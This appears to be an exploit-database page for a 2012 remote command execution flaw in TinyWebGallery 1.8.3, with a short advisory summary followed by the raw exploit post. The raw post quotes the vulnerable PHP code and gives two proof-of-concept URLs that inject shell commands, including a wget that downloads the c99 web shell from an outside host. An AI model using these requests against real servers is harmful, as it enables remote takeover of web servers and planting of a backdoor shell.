TinyWebGallery 1.8.3 Remote Command Execution

vendor:

TinyWebGallery

by:

Expl0!Ts

9,3

CVSS

HIGH

Remote Command Execution

CWE

Product Name: TinyWebGallery

Affected Version From: 1.8.3

Affected Version To: 1.8.3

Patch Exists: YES

Related CWE: N/A

CPE: a:tinywebgallery:tinywebgallery:1.8.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP

2012

TinyWebGallery 1.8.3 Remote Command Execution

TinyWebGallery 1.8.3 is vulnerable to Remote Command Execution due to improper sanitization of user-supplied input. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. This can allow the attacker to execute arbitrary commands on the server with the privileges of the web server process.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to upgrade to the latest version of TinyWebGallery.

Source

Exploit-DB raw data:

<======================================================>
[»]  TinyWebGallery 1.8.3 Remote Command Execution 
<======================================================>

    
     [»]  ---> Date :     05- 01- 2012              
     [»]  ---> Author :    Expl0!Ts --------> My Best t34m ----->    "BaC , RoBert MilEs , Bl4ck_ID"        
     [»]  ---> Software Link :  http://www.tinywebgallery.com/dl.php?file=twg_latest    
     [»]  ---> Version:      n/a         
     [»]  ---> Category:  php              
     [»]  ---> Tested on:  wind xp   
     

        !----- >  THnKs T0 My ALLAH         
<::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::>
        bIG tHnkS T0 :-> vbspiders.com & Dz4all.com & isecur1ty.org  
<::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::>
<=================Exploit====================>
 
-=[ vuln c0de ]=- 1
  

  1)  --------------> filefunctions.inc : 
       

        function execute_command ($command) {
  global $use_shell_exec;
                   ob_start();
     set_error_handler("on_error_no_output");
  i f (substr(@php_uname(), 0, 7) == "Windows"){
    // Make a new instance of the COM object
       $WshShell = new COM("WScript.Shell");
  // Make the command window but dont show it.
    $oExec = $WshShell->Run("cmd /C " . $command, 0, true);
  } else {
      if ($use_shell_exec) {
         shell_exec($command);    <--------------------------------------------- error





 1)  ---------> PoC : 


      http://127.0.0.1/(patch)/inc/filefunctions.inc?command=<id>;<pwd>;<wget http://shell.org/c99.zip>




-=[ vuln c0de ]=- 2 


  2) --------------> ifo.php :

   if ($use_shell_exec) {
            
           shell_exec($command);
      
       } else {
     
            exec($command . " > /dev/null");  <------------------------------------------ error 


  2)  ---------> PoC : 

       http://127.0.0.1/(patch)/info.php?command=<id>;<pwd>;<wget http://shell.org/c99.zip>


<------------------------------------------------------------------------------------------------------------------------------------------------------------------->
  Gr33tz :
       !>   BaC ,!>  Black_ID  ,!>  Kala$nikoV ,!>  Robert miles  ,!>  Dr.Black_ID  , !> AHmEd-HaMaImi , Bel-AiSa , To-KhAlEd 
<------------------------------------------------------------------------------------------------------------------------------------------------------------------->


EnJoY o_O